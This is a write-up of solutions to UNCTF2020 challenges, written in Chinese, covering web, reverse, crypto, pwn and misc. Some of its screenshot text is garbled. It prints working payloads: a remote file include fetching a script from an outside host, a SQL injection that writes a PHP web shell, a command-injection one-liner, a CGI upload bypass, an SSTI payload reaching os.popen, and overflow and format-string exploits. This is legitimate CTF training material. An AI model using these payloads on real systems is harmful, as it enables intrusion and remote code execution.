UNCTF2020 wp



easy_ssrf

welc0me to 2020UNCTF!!

```
<?php
echo'<center><strong>welcOme to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/', $url)){
        if(!preg_match('/php|file|zip|bzip|zlib|base|data/i', $url)){
            $url=file_get_contents($url);
            echo($url);
        }else{
            echo("error!!');
      }
}else{
        echo("error");
}
```

后来发现不是这样的被我蒙对了

```
🔶 \rightarrow 🕐 🎧 🛕 不安全 | afea5ee8-8bc6-4bd0-b371-391ac8004b6d.node1.hackingfor.fun/?url=%99%96%9... 🔍 🏡 📮 🐾 📴 🥥 👱 🔩
```

welc0me to 2020UNCTF!!

```
<?php
echo'<center><strong>welcOme to 2020UNCTF!!</strong></center>';
highlight_file(_FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
        if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
            $url=file_get_contents($url);
            echo($url);
        }else{
            echo('error!!');
      }
}else{
        echo("error");
}
VUNCTF{108723b2-0978-428d-a64e-d372015fcd0a}
```

easyunserialize

```
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
       public $uname;
       public $password;
       public function construct($uname, $password)
        ł
                $this->uname=$uname;
                $this->password=$password;
       }
       public function __wakeup()
                        if($this->password==='easy')
                                include('flag.php');
                                echo $flag:
                        }
                        else
                        {
                                echo 'wrong password';
function filter($string) {
       return str_replace('challenge', 'easychallenge', $string);
$uname=$ GET[1];
$password=1:
$ser=filter(serialize(new a($uname, $password)));
$test=unserialize($ser):
2
```

```
wrong password
```

__wakeup()函数里判断password是否等于easy,是的话输出flag。

但是password我们不可控,发现有个filter函数把我们序列化后的字符串进行了替换,且替换后长度增加了,可以吧反序列化的 password往后顶然后自己构造一个password的序列化字符串从而控制password。

构造payload

先数一下我们要顶掉的字符串长度(我们自己构造的控制passwoed反序列化的字符串),** ";s:8:"password";s:4:"easy";}**为 29个字符长度。每构造一个challenge可以顶掉4个所以我们要构造8个challenge字符串。然后后面添加3个字符串。

challengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";}aaa

```
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
       public $uname;
       public $password;
       public function __construct($uname, $password)
        {
                $this->uname=$uname;
                $this->password=$password;
       public function __wakeup()
        ł
                        if ($this->password==='easy')
                        {
                               include('flag.php');
                               echo $flag;
                        }
                        else
                        {
                               echo 'wrong password';
                        }
               }
       }
function filter($string) {
       return str_replace('challenge', 'easychallenge', $string);
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname, $password)));
$test=unserialize($ser);
?>
UNCTF{97dd3579-c05c-4ec1-9ba0-31b111f04c3c}
```

babyeval

```
<?php
```

过滤了括号基本所有的函数都用不了,想要执行命令还可以用反引号``.构造paylaod ?a=echo%20cat%20flag.php;,发现被拦截,用base64绕过。



PD9waHAKICAgICRmbGFnPSdVTkNURntiNzBjYjAwMy1mMzk NmZ9JzsKICAgID8+CgoK

ezphp

```
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
        echo $flag;
}else{
        echo "username or password error!";
}
username or password error!</pre>
```

讀 🔍 🙀 📮 📭 🖬

0

post一个data数据然后反序列化,反序列化的username等于一个字符串和password等于一个字符串(不是上面的值,看了群里的 消息才知道)

不知道服务器的字符串是啥,看到两个等号想到弱类型比较,在php中** 0== 'abc' **的值是True所以可以输入0来绕过。

a:2:{s:8:"username";i:0;s:8:"password";i:0;}

L0vephp



右键查看源代码发现一个字符串

<!-- B4Z0-@:0CnDf, -->

猜测应该是base族的加密,拿到网站上去试发现是base85。

<u>B4Z0-@:OCnDf</u> ,			
		编	码

用php伪协议读用base64发现被拦截。想到可以用rot13。



Rot13密码

ot13 Cipher			
cuc</th <th></th> <th></th> <th></th>			
<pre>\$synt = "hangs(Juvf_vf_@_s4xr_sln9)";</pre>			
// <u>uvag:316R4433782R706870</u> ?>			
			1
农险标志(Remove Punctuation)			
ASHING (Remove Functuation)			
	加密	解密	
?php			
flag = "unctf{7his_is_@_f4ke_f1a9}";			
//hint:316e4433782e706870 ?>			

16进制到文本字符串

加密	或解密字符	串长度不可以超过1	MO
1	316e443	3782e706870	
16进	制转字符	字符转16进制	测试月
1	1nD3x.pł	qr	

查看1nD3x.php页面

禁用了一堆东西,还限制了关键字和字数。

看到大佬博客可以用远程包含。

?code=include\$_GET[1];&1=http://www.lu0sf.top/1.txt

蚁剑连上就可以看到flag了。

Ar	ntSwe	ord 编辑 窗口 调试
4		□ 124.70.160.141 (※) □ flag_mdnrvvldb (※)
I	P:124	4.70.160.141 File: /flag_mdnrvvldb
		,
	1	UNCTF{6284b474-f3f4-48fd-9d49-0086d2ea290a}
	2	

checkin-sql

Try it?



看起来像强网杯的随便注,也是一个堆叠注入。但是一起输入set prepare execute 会被拦截,那就只用prepare和execute就行了,提示flag不在数据库里,就想到直接写shell。然后用16进制绕过关键字检测。

1';PREPARE hacker from concat(char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80, 79,83,84,91,49,50,51,93,41,32,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47, 119,119,119,47,104,116,109,108,47,49,46,112,104,112,39));EXECUTE hacker;

```
a = "select '<?php eval($_POST[123]) ?>' into outfile '/var/www/html/1.php'"
for i in a:
    print(ord(i),end=',')
```

....

	3 研想 图凵 明记				
•	□ 124.70.160.141 🛞	🗋 flag_mdnrvvldb 🛛 🛞	🗅 124.70.160.141 🛞	🗋 fffllaagg 🛞	
IP:124.7	0.160.141 File: /fffllaagg				2 刷新 📰 高亮 👻
1 UM	NCTF{0df10945-1ae5-46	i83-aed2-a147f0689140}			
2					

UN's_online_tools

经典rec,手动fuzz时感觉做过禁用了挺多的,有印象做过

	PING	
	其他功能待开发	
	Url	
	index.php style.css	
器 白 五 名 名] 控制台 🗅 调试器 ಝ 网络 {} 样式编辑器 🖓 性能 ①:内存 🗄 存储 🛉 无缩竭环境 🎆 应用程序 🗶 HackBar	0 ···)
Encryption \bullet	Encoding - SQL - XSS - LFI - XXE - Other -	Commit now! HackBar v2
Load URL	http://6f07835a-4d09-4961-9fcd-2f2566ea9e54.node1.hackingfor.fun	
🛠 Split URL	/Index.php?url=127.0.0.1 s&GO=GO	
€ Execute		



找到flag在根目录,这里空格被禁了,用%09(tab)绕过,最终用base64编码绕过,最后payload:

url=127.0.0.1|echo%09Y2F0IC9mbGFn|base64%09-d|sh&GO=GO

	PING	
	其他功能待开发	
	FLAG(cd2dfe77-2db5-4ef2-874f-bef935842133)	
□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□□		ани х
Encryption + Encoding + SQL + XSS + LFI + XXE	 Other ▼ 	Commit now! HackBar v2
Load URL http://6f07835a-4d09-4961-9fcd-2f2566ea9e5- /index.php?url=127.0.0.1jecho%09Y2F0IC9mb	4.node1.hackingfor.fun GFn base64%09-d sh&GO=GO .::	
Execute		

flag: FLAG{cd2dfe77-2db5-4ef2-874f-bef935842133}

```
最后放一下index.php的代码,各位师傅看看还有没有其他绕法吧
```

```
<?php
if (isset($_GET['un1'])){
    $ip=$_GET['un1'];
    if(preg_match("/(;|'||>|]|&||\\$|\\|rev|more|tailf|head|n1|tail|tac|cat|rm|cp|mv|\*|\{)/i", $i
p)){
    die("<strong><center>非法字符</center></strong>");
    }
    if(preg_match("/.*f.*1.*a.*g.*/", $ip)){
        die("<strong><center>非法字符</center></strong>");
    }
    sa = shell_exec("ping -c 4 ".$ip);
    echo($a);
    }else{
        echo "<script>alert('欢迎来到UN`s online tools 如果师傅觉得题目不适合您,可以出门左拐')</script>";
    }
}
```

easy_upload

善用搜索,查到是De1CTF 2020 checkin的原题,就比原题多禁了一个,导致原题解的换行绕过没法使,禁用名单:

perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!

解题思路: 上传.htaccess,开启cgi支持, 上传cgi脚本, 执行cgi脚本, 输出flag

```
1、上传.htaccess
```

bp抓包修改类型绕过类型限制



2、上传cgi脚本,流程和.htaccess一致,但注意,cgi脚本最好在linux系统下编写,直接在bp里面改内容有可能出错,cgi脚本根据.htaccess的保存后缀,个人保存为4.xx

#!/bin/bash	
echo "Content-Type: text/plain"	
echo ""	
cat /flag	
exit 0	

3, 上传成功, 访问4.xx文件路径得到flag:



Shell No. 1	1288 x 720, 8-bit/color RG8, 800
文件(F) 动作(A) 编辑(E) 查看(V) 帮助(H)	
root@kali:~/dirsearch# python3 dirsearch.py -u http://f7869a83-da42-40d9-88ab-8d4644827233.node1.hackingfor.fun/	-e *
Extensions: CHANGELOG.md HTTP method: GET Threads: 20 Wordlist size: 6784	
Error Log: /root/dirsearch/logs/errors-20-11-14_19-32-38.log	
Target: http://f7869a83-da42-40d9-88ab-8d4644827233.node1.hackingfor.fun/	
Output File: /root/dirsearch/reports/f7869a83-da42-40d9-88ab-8d4644827233.node1.hackingfor.fun/_20-11-14_19-32-38	3.txt
<pre>[19:32:38] Starting: [19:32:39] 400 - 138B - /%2e%2e//google.com [19:32:44] 200 - 37B - /ad_js.js [19:32:52] 200 - 382B - /login [19:32:54] 200 - 405B - /register Task Completed root@kali:-/dirsearch#</pre>	

扫一下目录发现注册和登陆页面

注册 Usern Passw 注册	ame: ord: [
\leftarrow	\rightarrow	\bigcirc	ណ៍	▲ 不安全	f7869a83-da42	2-40d9-88ab-8d46448	27233.no	9. ×
registe	er suc	cess				保存密码 Microsoft Edge 将保存针对 填充。	此站点的密码并在	× 下次自动

admin

.....

保存

0

从不

尝试注册成admin,发现可以,当时以为要session伪造



					1
$\leftarrow \ \ \rightarrow$	۵	▲ 不安全	21689f1b-0604-4e88	-a3ba-f1377180da14.node1.h;	a 📩 🖪
admin logi	n success	and check the se	cret route /secret_ro	ute_you_do_not_know	
登陆后回到主	三页,给了イ	个新路径			
$\leftarrow \rightarrow$	0 6	▲ 不安全	21689f1b-0604-4e88	-a3ba-f1377180da14.node1.h	a 🛱 🗖
you should	l 'guess' th	ie secret numbei			
方问,要求 g	uess一个秘	密数字			
$\leftarrow \rightarrow$ () 命 🚺	、不安全 <mark>21689f1b-</mark> (0604-4e88-a3ba-f1377180da	14.node1.hackingfor.fun/secret_route_	you_do_not_know?guess=1
you are wrong	J				
guess=1,返	回错误,看	「题目,应该是 SS	⊓模板注入,尝试传入{	{2*2}}	
$\leftarrow \rightarrow$ () û (不安全 21689f1b-	0604-4e88-a3ba-f1377180d	a14.node1.hackingfor.fun/secret_route	e_you_do_not_know?guess={{2*2}}
4 error!!					
龙功执行,持	亲着看一下西	记罢			
13		<u> </u>			
é → O ≙	▲ 不安全 2168	9f1b-0604-4e88-a3ba-f1377180da	4.node1.hackingfor.fun/secret_route_you_do	_not_know?guess=((config))	
< Config ('ENV': 'produ USE_X_SENDFILE': Fail SESSION_COOKIE_SEC	iction', 'DEBUG': Fals se, 'SERVER_NAME': CURE': False, 'SESSIO	e, 'TESTING': False, 'PROPAGATE None, 'APPLICATION_ROOT: '/', N_COOKIE_SAMESITE': None, 'SE	EXCEPTIONS': None, 'PRESERVE_CONTED SESSION_COOKIE_NAME': 'session', 'SESS SSION_REFRESH_EACH_REQUEST: True, '	(T_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERM JON_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PAT MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AG	ANENT_SESSION_LIFETIME': datetime.timedelta(31), H': None, 'SESSION_COOKIE_HTTPONLY': True, E_DEFAULT': datetime.timedelta(0, 43200),
False, 'JSONIFY_MIME	ERRORS': None, 'TRA TYPE': 'application/js	<pre>xP_HTTP_EXCEPTIONS: Faise, 'EX xon', 'TEMPLATES_AUTO_RELOAD</pre>	PLAIN_TEMPLATE_LOADING': Faise, 'PREF : None, 'MAX_COOKIE_SIZE': 4093)> erro	ERRED_URL_SCHEME: "http://JSON_AS_ASCII": Irue, 'JS r!!	JON_SORT_REYS: True, JSONIFY_PRETTYPRINT_REGULAR:
$\leftarrow \ \ \rightarrow \ \ \mho$	ᡬ ▲ 2	 下安全 21689f1b-0604	1-4e88-a3ba-f1377180da14.no	de1.hackingfor.fun/secret_route_you_do_	not_know?guess={{%27%27class}}
black list filter					
□纫田 tolm a	n胸了,没	有shell)学试看一下	能田的模块。发现黑多	z单,手动fuzz一下,讨滤了OP	""」 \%%\ 还有request可以田

又找到一个讲的比较详细的讲payload的项目: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection#java

尝试构建payload:

〇 🙆 🔺 不安全 | 30da14.node1.hackingfor.fu 🛂 北 六 🗇 🛛 🗢 😐 👄 🔍 🗮 🔶 二 六 🗠 🌒

注入成功,当时做到这已经很晚了,然后第二天再做。。。然后同队的罗师傅就又有名场面了

20:00 🖸 🔎 💭 🐽	hhi 🕫 🕕 🛈	65 %
く 没人性小队(5) 🖄		
周三	E 09:02	
	课8上辣	
手机搓		
guess={{request attr((request.ar application) join attr((request.ar args.globals,red 2) join) attr((request.ar args.getitem,red 2) join)((request request.args.but usc*2) join) }}&usc=_&applic &globals=global &getitem=getite &builtins=builtin	et rgs. n) rgs.usc*2,request. quest.args.usc* rgs.usc*2,request. quest.args.usc* t.args.usc*2, iltins,request.args. cation=application als em ns	C

 (\mathfrak{g})



最终payload是罗师傅手机上搓出来的,而且回去直接就能用了,不用再调(罗师傅带我乱杀),最终payload(先用ls查了名字叫 flag.txt)

guess={{request|attr((request.args.application)|join)|attr((request.args.usc*2,request.args.globals,request.args .usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,reques t.args.builtins,request.args.usc*2)|join)|attr((request.args.usc*2,request.args.getitem,request.args.usc*2)|join)((request.args.usc*2,request.args.import,request.args.usc*2)|join)((request.args.os)|join)|attr((request.args.p open)|join)((request.args.id)|join)|attr((request.args.read)|join)()}&usc=_&application=application&globals=glo bals&getitem=getitem&builtins=builtins&import=import&os=os&popen=popen&id=cat%20flag.txt&read=read ← → O D D A T Star | 21689ftb-0604 4683-s3ba-f1377180da14.node1.hackingforf.un/terret_route_you_do_not_know?guess=((request_args.application)(join)(attr((request_args.application)(joi

得到flag: UNCTF{41120cc4-fe61-4307-8332-10954d89bc21}

ezfind

一开始想不出来是怎么解的,然后出了提示就很简单了。直接传数组使两边值相等。

91 Points, 31 Solves 无描述 챻提示1: if(!(is_file(\$name)===false)){flag}else{no flag} 容器信息 塑机链接关闭容器 延长时间 靶机有效期还剩: 0小时59分钟21秒 请输入内容	\times	AL.	ezfino	
无描述 登提示1: if(!(is_file(\$name)===false)){flag}else{no flag} 容器信息 塑机链接 关闭容器 延长时间 塑机有效期还剩: 0小时59分钟21秒 遺輸入内容 提交Flag		-5	Points, 31	
登提示1: if(!(is_file(\$name)===false)){flag}else{no flag} 容器信息 ¹			无描述	
容器信息 塑机链接关闭容器延长时间 塑机有效期还剩:0小时59分钟21秒 请输入内容 提交Flag		flag})===false))	登提示1: if(!(is_file(\$r
靶机链接关闭容器 延长时间 靶机有效期还剩:0小时59分钟21秒 请输入内容 提交Flag			容器信	
请输入内容 提交Flag		Þ	转关闭容器 期还剩:0小	靶机
		提交Flag		请输入内容

듔 📮 🔾 🖁

任务描述:我会查看你提交文件位置是否存在,如果你给我了一个存在的文件名,我就给你flag,注意:这个文件夹中只有两个文件,一个是保存flag的文件,另一个是index.php



你找到我了! UNCTF{3be0e9be-6ee4-4f32-bc99-d0134ffa4fd7}

re

re_checkin

拉进ida发现和一个未初始化的全局变量做比较,直接动态调试就可以出flag了。

000000401300	0900 0000000	mov aword per ss. poptsbog, ees	
0000000401566	48:8995 B8030000	mov qword ptr ss. rbp+388, rdx	[rbp+3B8]:&"C:\\Users\\Ijy\\Desktop\\occasionalI
000000040156D	E8 8E9D0000	call occasionally. 40B300	
00000004015/2	48:8D0D 913A0200	Tea rcx, qword ptr ds:[42500A]	00000000042500A:"Welcome!Please Input:"
0000000401579	E8 9A3/0100	Call <jmp. &puts=""></jmp.>	
00000004015/E	48:8D45 A0	lea rax,qword ptr ss:[rbp-60]	
0000000401582	48:89C2	mov rdx,rax	
0000000401585	48:8D0D 943A0200	lea rcx, qword ptr ds:[425020]	000000000425020:"%1000s"
000000040158C	E8 6F860100	call occasionally. 419C00	
0000000401591	48:8D45 A0	lea rax, gword ptr ss: rbp-60	
0000000401595	48:8D15 A4DA0200	lea rdx,qword ptr ds:[42F040]	00000000042F040:"unctf{WelcomeToUNCTF}"
000000040159C	48:89C1	mov rcx,rax	
000000040159F	E8 54370100	call <jmp.&strcmp></jmp.&strcmp>	
00000004015A4	85C0	test eax,eax	
00000004015A6	✓ 74 0E	je occasionally.4015B6	
00000004015A8	48:8D0D 783A0200	lea rcx,qword ptr ds:[425027]	000000000425027:"fail!"
00000004015AF	E8 643/0100	call <jmp.&puts></jmp.&puts>	
00000004015B4	✓ EB OC	jmp occasionally.4015C2	
00000004015B6	48:8D0D 703A0200	lea rcx, qword ptr ds:[42502D]	00000000042502D:"success!"
00000004015BD	E8 56370100	call <jmp.&puts></jmp.&puts>	
00000004015C2	48:8D0D 6D3A0200	lea rcx,qword ptr ds:[425036]	000000000425036:"pause"
00000004015C9	E8 FA360100	call <jmp.&system></jmp.&system>	
00000004015CE	B8 00000000	mov eax,0	
00000004015D3	48:81C4 20040000	add rsp,420	
00000004015DA	5D	pop rbp	
00000004015DB	C3	ret	
00000004015DC	55	push rbp	
00000004015DD	48:89E5	mov rbp,rsp	

反编译

下载下来是一个python打包的exe文件,用pyinstxtractor.py反编译成pyc文件。

逆向后有一个struct.pyc和run.pyc,把run.pyc前4位改成和struct的前4位,然后用uncompyle6反编译成py文件。直接运行就可以得到flag。

 3.py main.py Illi External Libraries Scratches and Consoles 	<pre>1 # uncompyle6 version 3.7.4 2 # Python bytecode 3.7 (3394) 3 # Decompiled from: Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 201 4 # Embedded file name: run.py 5 # Compiled at: 1995-09-28 00:18:56 6 # Size of source mod 2**32: 272 bytes 7 str2 = 'UMAQBvogWLDTWgX"""k' 8 flag = '' 9 for i in range(len(str2)): 10 flag += chr(ord(str2[i]) + i) 11 12 print(flag)</pre>
Run: 3 D:\python\python.exe C:/Users UNCTF{un_UN_ctf123} Process finished with exit co	<pre>12 print(flag) 13 # okay decompiling run.pyc 14 /ljy/Desktop/工具/逆向/pyinstxtractor-master/run.exe_extracted/3.py de 0</pre>

babypy

下载得到一个python打包的exe和密文,和上题一样逆向得到py文件。

import os, libnum, binascii
flag = 'unctf{************************************
x = libnum.s2n(flag)
#将字符串转为16进制
def gen(x):
y = abs(x)
while 1:
if y > 0:
yield y % 2
$y = y \gg 1$
else:
if $x == 0$:
yield 0
l = [i for i in gen(x)]
#转为倒过来的2进制
l.reverse()
<pre>f = '%d' * len(1) % tuple(1)</pre>
a = binascii.b2a_hex(f.encode())
o = int(a, 16)
c = hex(b)[2:]
print(c)
os.system('pause')

代码逻辑是将字符串转为16进制然后再转二进制再转16进制。

写脚本解密

import libnum
ch = '31313130313031303131303131313030313130303031313031313130313030303131303030313130303131313131303131303131303031313030313130303131303031313030313130303131303031313030313130303131303031313030313130303131303031313030313130303131303
303030313130313030303030303030303030303
313130313131303031303031313030313031303
313130313130303031313030313130303030303
#这个是16进制的10直接把3去掉就可以变成二进制了
a = '0b'+ch.replace('3', '')
print(libnum.b2s(a))
#b'unctf{Th@t is really c001}'

easyMaze

拉进ida分析,输入字符串前面需要是unctf{结尾是}

```
BOOL8 __fastcall sub_401757(const char *a1)
{
    char *Str1; // [rsp+30h] [rbp+10h]
    Str1 = (char *)a1;
    return !strncmp(a1, "unctf{", 6ui64) && Str1[strlen(Str1) - 1] == 125;
}
```

迷宫的主要代码

```
v3 = 0;
 while (1)
 {
   v1 = *(char *)(v6 + v5);
   if ( v1 == 'd' )
   {
     ++v4;
   }
   else if (v1 > 'd')
   {
      if ( v1 == 's' )
      {
       ++v3;
     }
     else
      {
       if ( v1 != 'w' )
         return 0i64;
       --v3;
     }
   }
   else
   {
     if ( v1 != 'a' )
       return 0i64;
      --v4;
   3
   if ( v4 < 0 || v3 < 0 || *((_BYTE *)Dst + 10 * v3 + v4) == 'D' || *((_BYTE *)Dst + 10 * v3 + v4) == '0' )
     return 0i64;
   if ( v4 > 9 || v3 > 9 )
     return 0i64;
   if ( *((_BYTE *)Dst + 10 * v3 + v4) == 'S' )
     break;
   if ( (unsigned __int8)sub_4019F4() )
   {
     puts("I See YOU!");
00000B29 sub_40161A:44 (401729)
```

分析代码wasd分别是上下左右,遇到0和D就返回0,遇到S就跳出循环走出迷宫。



在ida里面看不到迷宫的字符串,要动态调试找迷宫字符串。

把迷宫分成10个一组走迷宫就行了

Oo00oD00SD
000000D000
o0D0oD0o00
00000000
oD0D0ooooo
00000000
oDoooooDDD
00000000
oD0D00000D
0000000D
unctf{dsdddssaaaasssssddddddddwwaawawwddwwwdw}

Macrosoft Windows L版本 10.0.18363.1198] (c) 2019 Microsoft Corporation。保留所有权利。 C?\Users\ljy>C:\Users\ljy\Desktop\easyMaze.exe Help Me Out!!!!!! Unctf{dsdddssaaaasssssddddddddwwaawawwddwwwdw} Yes! Escaped! oD CD\Users\ljy>

密码学

简单的RSA

下载,只有一个txt

e= 1843761357024744573770463077615077573550924452563330353292181312299754995474182885589884235690053774664741467 6272022397989161180996467240795661928117273837666615415153571959258847829528131519423486261757569454011940318849 589730152031528323576997801788206457548531802663834418381061551227544937412734776581781 n= 1472825736119845803849657279768393513560094656160534754280398517945538808331778772113233181308432678473032647 3008842455265712931429511761422263032658194313295068914783367450659282413413505487739475300816962958374291685305 6999371985307138775298080986801742942833212727949277517691311315098722536282119888605701 c= 1408966982676704801757398175398986386570990871970968367342430168242041134529876176109449867429197935060248926 3885133901501570616441299451459856498937403776283643926222464935941119018787520706066350977701752929314543453505 6275850555331099130633232844054767057175076598741233988533181035871238444008366306956934

看到e很大,直接上脚本

```
import gmpy2
from Crypto.PublicKey import RSA
import CTF.RSA.ContinuedFractions as ContinuedFractions
import CTF.RSA.Arithmetic as Arithmetic
from Crypto.Util.number import long to bytes
def wiener_hack(e, n):
   frac = ContinuedFractions.rational to contfrac(e, n)
   convergents = ContinuedFractions.convergents_from contfrac(frac)
   for (k, d) in convergents:
               t = Arithmetic.is_perfect_square(discr)
                   print("Hacked!")
                    return d
def main():
   e = 18437613570247445737704630776150775735509244525633303532921813122997549954741828855898842356900537746647
4146762720223979891611809964672407956619281172738376666154151535719592588478295281315194234862617575694540119403
18849589730152031528323576997801788206457548531802663834418381061551227544937412734776581781
   n = 14728257361198458038496572797683935135600946561605347542803985179455388083317787721132331813084326784730
3264730088424552657129314295117614222630326581943132950689147833674506592824134135054877394753008169629583742916
853056999371985307138775298080986801742942833212727949277517691311315098722536282119888605701
   c = 14089669826767048017573981753989863865709908719709683673424301682420411345298761761094498674291979350602
4892638851339015015706164412994514598564989374037762836439262224649359411190187875207060663509777017529293145434
535056275850555331099130633232844054767057175076598741233988533181035871238444008366306956934
   d = wiener_hack(e, n)
   print(long_to_bytes(m))
if ___name___ == "___main___":
```

得到flag: unctf{wi3n3r_Att@ck}

easy_rsa

```
import gmpy2
from Crypto.Util.number import bytes_to_long
p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
    a = p + q
    b = p - q
    print(a,b)
```

From Crypto.Util import number

e = 65537

print(c)

phi = (p-1)*(q-1) d = gmpy2.invert(e,phi) m = bytes_to_long(b'msg')

```
#32039868747763891397570027001713248355640403698230201885361798741703961240051705768095162986347743857011864010
253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692
96855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#95540900016190331873218577490482442313777118610815220544797731519623719593369361366960515896394696530747584696
408940711403922105568873255383038592396267550773760760802614051689814667054891603377246233119544281623900665149!
```

```
228860158558575709344581192075894680364278192331001653587533486724297681798023131739806838358390603021929746761
930098296804483919917950033479959439258269131909071484918425754012368791727533221661999458390383164466156211367
3270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528
945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756
9399230739622104315763399522992335630828404544064854230016150064914519388488998082764068014564183215275376960688
```

得到a=p+q,b=p-q,两式相加得到a+b=2p,除2得到p,a-p得到q

```
import gmpy2 as gp
from Crypto.Util.number import *
```

```
 c = 228860158558575709344581192075894680364278192331001653587533486724297681798023131739806838358390603021929746 \\ 7610300982968044839199179500334799594392582691319090714849184257540123687917275332216619994583903831644661562113 \\ 6778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924 \\ 5289451608071525127539880388941265665722415108834865841296142819365408618013026845505219046203039467213227915337 \\ 5670399230739622104315763399522992335630828404544064854230016150064914519388488998082764068014564183215275376960 \\ 6803521928095124230843021310132841509181297101645567863161780 \\ \end{array}
```

```
q = 155422298738009940394189206134042119662513162560610248399569107132538620220590060772127789136918984458521940
8173046716192053957361615347951495992416684862837547953464117848450576857135570753716051359863880119986102613605
20650827734187124699589734496097678970899686056997267797534053934064148348759788335157899
```

```
p = 164976388739628973581511063883090363893890874421691770454048880284500992179926996908823840726558454111596699
2869487610263194349572172235277034296275924489592625329540198109855745838602276242876389084487192074414265003671
72146028171043107126122608800640249201232870138119493156975216320985668013888561826953269
```

```
n = p * q
phi = (q - 1) * (p - 1)
e = 65537
d = gp.invert(e, phi)
m = pow(c, d, n)
```

print(long2str(m))

```
最后运行脚本得到flag: UNCTF{welcome to rsa}
```

符号()	<u>S)</u>	特殊字	≅符(<u>P</u>))												
字体(<u> </u>	<u>F)</u> : W	ingdi	ngs 2						×.							
	0	Ĉ	Î		\Box	≞	₽	\odot	<u>o</u> õ	A	₼	්	\Diamond	Q	Ģ	^
-	•	Ś	Ś	•	•	Ø	P	ł	ŧ	\$	Ŷ	•	٩	Ş	x	
\checkmark	X	\checkmark	\times	×	\otimes	\otimes	\bigcirc	\otimes	er	&	ե	ե	?	Р	?	
?	હ્ય	છ	ନ୍ଧ	ଜ୍ୟ	ŵ	Ś	ş	Ş	0	1	0	3	4	5	6	
Ø	8	9	10	0	0	0	€	4	6	6	Ø	8	0	0		~
近期的	吏用过	的符号	<u></u> ∃(<u>R</u>):		•											
10	0	?	Ŀ	5	ભ્ય	€	0	Ś	0	ନ୍ଧ	0	\checkmark			,	

signin

进行了两次aes加密,知道明文和第二次加密的密文,只要遍历所有key的可能,然后加密明文和解密第二次的密文都是得到第 一次加密的密文,比较找到相同对应的就是密钥了。

```
from string import printable
from Crypto.Cipher import AES
from binascii import hexlify,unhexlify
a = {}
b = {}
for i in printable:
 for j in printable:
 for k in printable:
  cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
  pt = 'UNCTF2020_Enjoy_Crypto~'.encode()
  val = len(pt) % 16
   pt += b'\x00' * (16 - val)
  c1 = cipher1.encrypt(pt)
for i in printable:
 for j in printable:
  cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
  ch = unhexlify(b'01a4e429e76db218fa0eb18f03ec69c9200a2362d8b4d7ea46170ce698389bbd')
  c2 = cipher2.decrypt(ch)
  b[c2] = i+j+k
result = list(a.keys() & b.keys())[0]
print('key1:','0'*13+a[result])
print('key2:',a[result]+'0'*13)
ch = unhexlify(b'196cc94c2d685beb54beeaa14c1dc0a6f3794d65fca0d1a1274515166e4255ab367383092e42d774992f74bc138faaa
key1 = '0'*13+a[result]
key2 = b[result]+'0'*13
cipher1 = AES.new(key=key1.encode(), mode=AES.MODE_ECB)
cipher2 = AES.new(key=key2.encode(), mode=AES.MODE_ECB)
a = cipher2.decrypt(ch)
b = cipher1.decrypt(a)
print(b)
```

鞍山大法官开庭之缺的营养这一块怎么补

将o转为a,转为b,就是培根密码解出来就是答案了。

pwn

YLBNB

用pwntool一直发送回车就行了

fan

```
1 int vul()
2 {
3   char buf; // [rsp+0h] [rbp-30h]
4
5   puts("I got a message bank ,you can store something in it!");
6   puts("input your message");
7   read(0, &buf, 0x40uLL);
8   return puts("OK , i got it ,let me see if i can bring you fantasy!!!");
9 }
```

直接栈溢出到system('/bin/sh')就行了



do_you_like_me?

和上一题一样

```
from pwn import *
p = remote('node2.hackingfor.fun','36498')
addr = 0x4006D1
payload = 'A'*(0x10+0x8)+p64(addr)
p.sendline(payload)
p.interactive()
```

你真的会pwn嘛?

```
1
   int64 __fastcall main(__int64 a1, char **a2, char **a3)
2 {
3
   char buf; // [rsp+20h] [rbp-100h]
4
5
   setbuf(stdin, 0LL);
   setbuf(stdout, 0LL);
6
7
   setbuf(stderr, 0LL);
8
   printf("Give me your input : ", 0LL);
9
   if ( read(0, &buf, 0x100uLL) < 0 )
0
     exit(0);
   printf(&buf, &buf);
1
2
   if ( dword_60107C )
3
     sub_40070D();
4
   return ØLL;
5}
```

格式化字符串漏洞任意内存写,改掉dword_60107C的值为一就行了

from pwn import *
p = remote('node2.hackingfor.fun','38848 ')
addr = 0x60107C
payload = '1%11\$naa'+p64(addr)
p.recv()
p.sendline(payload)
p.interactive()

```
root@kali:~/桌面# python fmt.py
[+] Opening connection to node2.hackingfor.fun on port 38848: Done
[*] Switching to interactive mode
1aa|\x10$ cat flag
UNCTF{1211784d-a8ee-401b-9cec-5d005271e64e}
```

misc

网络深处1

个人认为比较有意思的一题(指背景故事),打开题目

🗎 网络	深处1.zip	- WinRAF	ર										
